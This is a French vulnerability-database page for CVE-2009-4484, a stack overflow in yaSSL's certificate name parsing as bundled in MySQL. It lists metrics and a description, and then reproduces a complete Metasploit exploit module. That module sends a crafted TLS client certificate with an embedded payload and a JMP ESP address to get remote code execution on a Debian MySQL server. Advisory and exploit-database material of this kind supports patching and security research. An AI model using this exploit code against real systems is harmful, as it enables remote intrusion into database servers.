CVE-2009-4484 Détail

CVE-2009-4484

Catégories

Overflow

EPSS

95.77%V3

Vecteur

Network

Publié

2009-12-30
20h00 +00:00

Modifié

2018-01-04
17h57 +00:00

Liens officiels

CVE.org

NVD

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Gestion des notifications

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Notifications pour un CVE

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Critères appliqués l'envoi de l'alerte : par rapport à la dernière alerte envoyée + différences au niveau de CISA, EPSS, CVSS, CWE, Solutions, CPE.

Paramètres

Vous pouvez spécifier un titre qui sera récupéré dans les alertes qui seront envoyées.

Spécifiez ici un CVE ID comme CVE-2025-1234

Planifications

Mois

Prochaine exécution calculée

Jour

Jour de la semaine

Heure

Minute

Date de création

Dernière exécution

Prochaine exécution

Fonctionnalité nécessitant une connexion

Cette fonctionnalité qui vous permet de recevoir des alertes, n'est active que lorsque vous êtes connecté à votre compte.

Descriptions du CVE

Multiple stack-based buffer overflows in the CertDecoder::GetName function in src/asn.cpp in TaoCrypt in yaSSL before 1.9.9, as used in mysqld in MySQL 5.0.x before 5.0.90, MySQL 5.1.x before 5.1.43, MySQL 5.5.x through 5.5.0-m2, and other products, allow remote attackers to execute arbitrary code or cause a denial of service (memory corruption and daemon crash) by establishing an SSL connection and sending an X.509 client certificate with a crafted name field, as demonstrated by mysql_overflow1.py and the vd_mysql5 module in VulnDisco Pack Professional 8.11. NOTE: this was originally reported for MySQL 5.0.51a.

Informations du CVE

Faiblesses connexes

CWE-ID	Nom de la faiblesse	Source
CWE-787	Out-of-bounds Write The product writes data past the end, or before the beginning, of the intended buffer.

Métriques

Métriques	Score	Gravité	CVSS Vecteur	Source
V2	7.5		AV:N/AC:L/Au:N/C:P/I:P/A:P	[email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 16850

Date de publication : 2010-04-29 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # $Id: mysql_yassl_getname.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'MySQL yaSSL CertDecoder::GetName Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the yaSSL (1.9.8 and earlier) implementation bundled with MySQL. By sending a specially crafted client certificate, an attacker can execute arbitrary code. This vulnerability is present within the CertDecoder::GetName function inside "taocrypt/src/asn.cpp". However, the stack buffer that is written to exists within a parent function's stack frame. NOTE: This vulnerability requires a non-default configuration. First, the attacker must be able to pass the host-based authentication. Next, the server must be configured to listen on an accessible network interface. Lastly, the server must have been manually configured to use SSL. The binary from version 5.5.0-m2 was built with /GS and /SafeSEH. During testing on Windows XP SP3, these protections successfully prevented exploitation. Testing was also done with mysql on Ubuntu 9.04. Although the vulnerable code is present, both version 5.5.0-m2 built from source and version 5.0.75 from a binary package were not exploitable due to the use of the compiler's FORTIFY feature. Although suse11 was mentioned in the original blog post, the binary package they provide does not contain yaSSL or support SSL. }, 'Author' => [ 'jduck' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9179 $', 'References' => [ [ 'CVE', '2009-4484' ], [ 'BID', '37640' ], [ 'BID', '37943' ], [ 'BID', '37974' ], [ 'OSVDB', '61956' ], [ 'URL', 'http://secunia.com/advisories/38344/' ], [ 'URL', 'http://intevydis.blogspot.com/2010/01/mysq-yassl-stack-overflow.html' ] ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 1046, 'BadChars' => "", 'StackAdjustment' => -3500, 'DisableNops' => true }, 'Platform' => 'linux', 'Targets' => [ [ 'Automatic', { } ], [ 'Debian 5.0 - MySQL (5.0.51a-24+lenny2)', { 'JmpEsp' => 0x0807dc34 } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 25 2010')) register_options([ Opt::RPORT(3306) ], self) end def exploit connect # read the mysql server hello :) version = nil if (buf = sock.get_once(-1, 5)) #print_status("\n" + Rex::Text.to_hex_dump(buf)) if (buf =~ /is not allowed to connect/) raise RuntimeError, 'The server refused our connection!' end len1,cmd = buf[0,5].unpack('VC') rest = buf[5,len1] idx = rest.index("\x00") if (idx) version = rest[0,idx] print_status("Server reports version: #{version}") end end # handle automatic target selection mytarget = nil if (target.name =~ /Automatic/) print_status("Attempting to locate a corresponding target") version = "(" + version + ")" targets.each { |tgt| if (tgt.name.include?(version)) mytarget = tgt end } if (not mytarget) raise RuntimeError, 'Unable to detect target automatically' else print_status("Using automatically detected target: #{mytarget.name}") end else mytarget = target print_status("Trying target #{mytarget.name}...") end # create/send the hello packet hello = [0x01000020].pack('V') hello << "\x85\xae\x03\x00"+"\x00\x00\x00\x01"+"\x08\x00\x00\x00" hello << "\x00" * 20 hello << "\x16\x03\x01\x00\x60\x01\x00\x00\x5c\x03\x01\x4a\x92\xce\xd1\xe1" hello << "\xab\x48\x51\xc8\x49\xa3\x5e\x97\x1a\xea\xc2\x99\x82\x33\x42\xd5" hello << "\x14\xbc\x05\x64\xdc\xb5\x48\xbd\x4c\x11\x55\x00\x00\x34\x00\x39" hello << "\x00\x38\x00\x35\x00\x16\x00\x13\x00\x0a\x00\x33\x00\x32\x00\x2f" hello << "\x00\x66\x00\x05\x00\x04\x00\x63\x00\x62\x00\x61\x00\x15\x00\x12" hello << "\x00\x09\x00\x65\x00\x64\x00\x60\x00\x14\x00\x11\x00\x08\x00\x06" hello << "\x00\x03\x02\x01\x00" sock.put(hello) # build a cn that will trigger the vulnerability cn = rand_text(payload_space - payload.encoded.length) cn << payload.encoded cn << [0,0].pack('VV') # memset(x,0,0); (this is x and the length) # NOTE: x in above (also gets passed to free()) pad = 1074 - payload_space cn << rand_text(pad) cn << [mytarget['JmpEsp']].pack('V') distance = 4 + pad + 8 + payload.encoded.length cn << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string cert = "\x2a\x86\x00\x84" cert << [cn.length].pack('N') cert << cn cert = "\x30"+ "\x82\x01\x01"+ "\x31"+ "\x82\x01\x01"+ "\x30"+ "\x82\x01\x01"+ "\x06"+ "\x82\x00\x02" + cert cert = "\xa0\x03" + "\x02\x01\x02" + "\x02\x01\x00" + "\x30" + "\x0d" + "\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x04\x05\x00" + cert # wrap in 2 sequences cert = SNMP::BER.encode_tlv(0x30, cert) cert = SNMP::BER.encode_tlv(0x30, cert) cert1 = big_endian_24bit(cert.length) + cert certs = big_endian_24bit(cert1.length) + cert1 handshake = "\x0b" + big_endian_24bit(certs.length) + certs msg = "\x16\x03\x01" msg << [handshake.length].pack('n') msg << handshake sock.put(msg) handler disconnect end def big_endian_24bit(len) uno = (len >> 16) & 0xff dos = (len >> 8) & 0xff tre = len & 0xff [uno,dos,tre].pack('C*') end end